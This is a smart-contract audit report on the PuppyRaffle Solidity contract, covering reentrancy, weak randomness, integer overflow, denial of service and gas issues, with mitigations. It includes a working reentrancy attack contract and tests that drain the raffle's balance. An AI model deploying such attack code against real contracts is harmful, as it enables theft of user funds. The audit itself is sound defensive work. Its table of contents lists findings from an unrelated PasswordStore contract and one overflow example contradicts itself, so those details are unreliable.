



CryptAudit

PuppyRaffle Audit Report

Version 1.0

CryptAudit

January 23, 2026

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High Risk Findings
 - * [H-1] Storing the password on-chain makes it visible to anyone and no longer private
 - * [H-2] PasswordStore::setPassword' has no access controls, meaning a non-owner could change the password
 - Low Risk Findings
 - * [I-1] PasswordStore::getPassword natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect.

Protocol Summary

This is a raffle in which participants can enter and win a random puppy. The owner of the protocol can set a feeAddress to take a 20%cut of the entranceFee for gas fees, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The CryptAudit team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M
	Low	M/L	L	L
	Info	I	I	I
	Gas	G	G	G

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Executive Summary

A comprehensive security audit was conducted on the PuppyRaffle smart contract, a raffle protocol where participants can enter to win a random puppy NFT. The review identified **17 total findings**,

including **3 critical high-severity vulnerabilities** that pose significant risk to user funds and protocol integrity.

Critical findings include: - A reentrancy vulnerability in the refund mechanism that allows malicious actors to drain the entire contract balance - Weak randomness implementation enabling validators to manipulate or predict raffle winners - Integer overflow issues in fee accounting that result in permanent loss of protocol revenue

The protocol is built on Solidity 0.7.6, an outdated version that lacks built-in overflow protections and modern security features. Multiple functions fail to follow the Checks-Effects-Interactions pattern, and the randomness mechanism relies on predictable on-chain values rather than a verifiable random function.

The PuppyRaffle contract is not safe for production deployment in its current state. Immediate remediation of the high-severity findings is required, along with upgrading to Solidity ^0.8.18, implementing proper access controls and reentrancy guards, and replacing the randomness mechanism with Chainlink VRF or similar cryptographically secure solution.

With the recommended fixes implemented, the protocol's core functionality can be preserved while significantly improving its security posture.

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	7
Gas Optimizations	2
Total	17

Findings

High Risk Findings

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` doesn't follow the checks-effects-interactions pattern. As a result, it is vulnerable to reentrancy attacks. The function is called when a player refunds their entrance fee. However, it does not check if the raffle is over before refunding the player. This allows a player to drain the raffle balance by calling `refund` multiple times.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7     @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

Impact: The raffle balance can be drained by a malicious player calling `refund` multiple times.

Proof of Concept: Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the `PuppyRaffle` balance.

PoC Code

Add the following to `PuppyRaffle.t.sol`

```
1 ``solidity
```

```
contract ReentrancyAttacker { PuppyRaffle puppyRaffle; uint256 entranceFee; uint256 attackerIndex;
```

```
1 constructor(PuppyRaffle _puppyRaffle) {
2     puppyRaffle = _puppyRaffle;
3     entranceFee = puppyRaffle.entranceFee();
4 }
5
```

```
6 function attack() public payable {
7     address[] memory players = new address[](1);
8     players[0] = address(this);
9     puppyRaffle.enterRaffle{value: entranceFee}(players);
10    attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
11    puppyRaffle.refund(attackerIndex);
12 }
13
14 function _stealMoney() internal {
15     if (address(puppyRaffle).balance >= entranceFee) {
16         puppyRaffle.refund(attackerIndex);
17     }
18 }
19
20 fallback() external payable {
21     _stealMoney();
22 }
23
24 receive() external payable {
25     _stealMoney();
26 }
```

```
}
```

// test to confirm vulnerability function testCanGetRefundReentrancy() public { address[] memory players = new address; players[0] = playerOne; players[1] = playerTwo; players[2] = playerThree; players[3] = playerFour; puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

```
1 ReentrancyAttacker attackerContract = new ReentrancyAttacker(
2     puppyRaffle);
3 address attacker = makeAddr("attacker");
4 vm.deal(attacker, 1 ether);
5
6 uint256 startingAttackContractBalance = address(attackerContract).
7     balance;
8 uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
9
10 // attack
11 vm.prank(attacker);
12 attackerContract.attack{value: entranceFee}();
13
14 // impact
15 console.log("attackerContract balance: ", startingAttackContractBalance);
16 console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
17 console.log("ending attackerContract balance: ", address(
18     attackerContract).balance);
19 console.log("ending puppyRaffle balance: ", address(puppyRaffle).
20     balance);
```

}“

Recommended Mitigation: 1. **Use CEI pattern:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6     +     players[playerIndex] = address(0);
7     +     emit RaffleRefunded(playerAddress);
8         payable(msg.sender).sendValue(entranceFee);
9
10    -     players[playerIndex] = address(0);
11    -     emit RaffleRefunded(playerAddress);
12    }
```

2. **Use ReentrancyGuard:** Alternatively, you can use OpenZeppelin's ReentrancyGuard modifier. This prevents a function from being called while it is already executing.

Note: The `nonReentrant` modifier works by using a mutex lock (a boolean flag) that is set to true when the function starts and set back to false when it ends. If the function is re-entered while the flag is true, the transaction reverts.

```
1 + import {ReentrancyGuard} from "@openzeppelin/contracts/security/
   ReentrancyGuard.sol";
2
3 - contract PuppyRaffle is ERC721, Ownable {}
4 + contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {}
5
6 -     function refund(uint256 playerIndex) public {}
7 +     function refund(uint256 playerIndex) public nonReentrant {}
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows validators to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Validators can manipulate the randomness of the raffle to choose the winner of the raffle. This beats the purpose of the raffle and allows the validators to influence or predict the winning puppy.

Proof of Concept: 1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Use a VRF (Verifiable Random Function) to generate random numbers. This will allow the randomness to be verifiable by the validators and users.

[H-3] Integer Overflow of `totalFees` loses fees

Description: In `PuppyRaffle::selectWinner`, `totalFees` is defined as a `uint64`. This is an unsafe type casting from `uint256`.

```
1      uint256 fee = (totalAmountCollected * 20) / 100;  
2      totalFees = totalFees + uint64(fee);
```

Impact: In Solidity versions prior to 0.8.0, integers would overflow without reverting.

1. `fee`: max value is 18.446744073709551615 ETH. If the `fee` calculated is higher than this value, it will be truncated to a lower value.
2. `totalFees`: If the accumulated fees exceed the max value of `uint64`, it will overflow and reset to a lower value.

This results in the protocol thinking it has less fees to withdraw than it actually does, leading to a loss of funds for the protocol owner.

Proof of Concept:

1. We have 89 players enter the raffle. Each pays 1 ETH.
2. Total Collected: 89 ETH.
3. Fee: 17.8 ETH.
4. Max `uint64`: ~18.44 ETH.
5. `uint64(20 ETH)` will overflow/truncate.

Proof of Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have a strong raffle with 89 players
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19    puppyRaffle.selectWinner();
20
21    uint256 endingTotalFees = puppyRaffle.totalFees();
22    console.log("Ending total fees: ", endingTotalFees);
23    assert(endingTotalFees < startingTotalFees + 20 ether);
24 }
```

Recommended Mitigation: 1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Medium Risk Findings

[M-1] Checking For Duplicate Players in `PuppyRaffle::enterRaffle` by Looping through The Players Array is a Potential DOS Attack Incrementing Gas Costs For Future Entrants

Description: The `PuppyRaffle::enterRaffle` function iterates through the `players` array to check for duplicates. However, it performs this check using a nested loop, comparing each player to every other player in the array. This implementation creates a quadratic time complexity $O(n^2)$ relative to the number of players.

```
1 // @audit Dos Attack
2 for(uint256 i = 0; i < players.length -1; i++){
3     for(uint256 j = i+1; j< players.length; j++){
4         require(players[i] != players[j], "PuppyRaffle: Duplicate Player");
5     }
6 }
```

Impact: The gas costs for entering the raffle will significantly increase as more players join. This is due to the quadratic increase in the number of comparisons required to check for duplicates. Eventually, the gas cost to enter the raffle will exceed the block gas limit, creating a Denial of Service (DoS) vulnerability where no new players can enter the raffle.

Proof of Concept:

If we have 2 sets of 150 players enter, the gas costs will be as such: - 1st 150 players: ~12873449 gas -
2nd 150 players: ~40998589 gas

This is more than 3x more expensive for the second 150 players.

Proof of Code

```
1 function testDenialOfService() public {
2     // Foundry lets us set a gas price
3     vm.txGasPrice(1);
4
5     // Creates 150 addresses
6     uint256 playersNum = 150;
7     address[] memory players = new address[](playersNum);
8     for (uint256 i = 0; i < players.length; i++) {
9         players[i] = address(i);
10    }
11
12    // Gas calculations for first 150 players
13    uint256 gasStart = gasleft();
14    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
15    uint256 gasEnd = gasleft();
16    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
```

```

17     console.log("Gas cost of the first 150 players: ", gasUsedFirst);
18
19     // Creates another array of 150 players
20     address[] memory playersTwo = new address[](playersNum);
21     for (uint256 i = 0; i < playersTwo.length; i++) {
22         playersTwo[i] = address(i + playersNum);
23     }
24
25     // Gas calculations for second 150 players
26     uint256 gasStartTwo = gasleft();
27     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
28         playersTwo);
29     uint256 gasEndTwo = gasleft();
30     uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
31     console.log("Gas cost of the second 150 players: ", gasUsedSecond
32         );
33     assert(gasUsedSecond > gasUsedFirst);
34 }

```

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle id.

```

1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3 +     .
4 +     .
5 +     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10            players.push(newPlayers[i]);
11 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
12 +                PuppyRaffle: Duplicate player");
13 +            addressToRaffleId[newPlayers[i]] = raffleId;
14            }
15 -     // Check for duplicates
16 -     for (uint256 i = 0; i < players.length; i++) {
17 -         for (uint256 j = i + 1; j < players.length; j++) {
18 -             require(players[i] != players[j], "PuppyRaffle:
19 -                 Duplicate player");
20 -         }
21 -     }

```

```
19 -     }
20     emit RaffleEnter(newPlayers);
21 }
22 .
23 .
24 .
25     function selectWinner() external {
26 +     raffleId = raffleId + 1;
27     require(block.timestamp >= raffleStartTime + raffleDuration, "
        PuppyRaffle: Raffle not over");
28 }
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The PuppyRaffle::withdrawFees function checks the totalFees equals the ETH balance of the contract (address(this).balance). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could selfdestruct a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.

```
1     function withdrawFees() external {
2 @>     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

Impact: This would prevent the feeAddress from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a selfdestruct
3. feeAddress is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the PuppyRaffle::withdrawFees function.

```
1     function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
```

```
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

[M-3] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner there is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
3             PuppyRaffle: Raffle not over");
4         require(players.length > 0, "PuppyRaffle: No players in raffle"
5             );
6         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
7             sender, block.timestamp, block.difficulty))) % players.
8             length;
9         address winner = players[winnerIndex];
10        uint256 fee = totalFees / 10;
11        uint256 winnings = address(this).balance - fee;
12    @>    totalFees = totalFees + uint64(fee);
13        players = new address[] (0);
14        emit RaffleWinner(winner, winnings);
15    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

// We do some storage packing to save gas But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the onus on the winner to claim their prize. (Recommended)

Low Risk Findings

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: In `PuppyRaffle::getActivePlayerIndex`, the function returns 0 for non-existent players and players at index 0.

```
1  function getActivePlayerIndex(address player) external view returns
    (uint256) {
2      for (uint256 i = 0; i < players.length; i++) {
3          if (players[i] == player) {
4              return i;
5          }
6      }
7      return 0;
8  }
```

Impact: This can cause players at index 0 to incorrectly think they have not entered the raffle.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

```
1  function testGetActivePlayerIndex() public {
2      PuppyRaffle puppyRaffle = new PuppyRaffle();
3      uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(0));
4      assert(playerIndex == 0);
5  }
```

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas Findings

[G-1] Unchanged state variables should be marked as constant or immutable

Reading from storage is much more expensive than reading from a `constant` or `immutable` variable.

```
1 - uint256 public raffleDuration;
2 + uint256 public immutable raffleDuration;
3
4 - string private commonImageUri = "ipfs://
   QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
5 + string private constant commonImageUri = "ipfs://
   QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
6
7 - string private rareImageUri = "ipfs://
   QmUPjADFGEKmfhdTaNcWhp7VGk26h5jXDA7v3VtTnTLCW";
8 + string private constant rareImageUri = "ipfs://
   QmUPjADFGEKmfhdTaNcWhp7VGk26h5jXDA7v3VtTnTLCW";
9
10 - string private legendaryImageUri = "ipfs://
    QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
11 + string private constant legendaryImageUri = "ipfs://
    QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[G-2] Storage variables in a loop should be cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

Informational Findings

[1-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated solidity version isn't recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.18) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Address State Variable Set 'Without Checks

Check for `address (0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 68

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 197

```
1 feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 ``diff
```

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); ""

[I-5] Use of "magic" numbers is not advisable

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: `uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100;`

```
1 uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /  
    POOL_PRECISION;  
2 uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;  
3 ```
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 ```diff  
2 -     function _isActivePlayer() internal view returns (bool) {  
3 -         for (uint256 i = 0; i < players.length; i++) {  
4 -             if (players[i] == msg.sender) {  
5 -                 return true;  
6 -             }  
7 -         }  
8 -         return false;  
9 -     }  
10 ```
```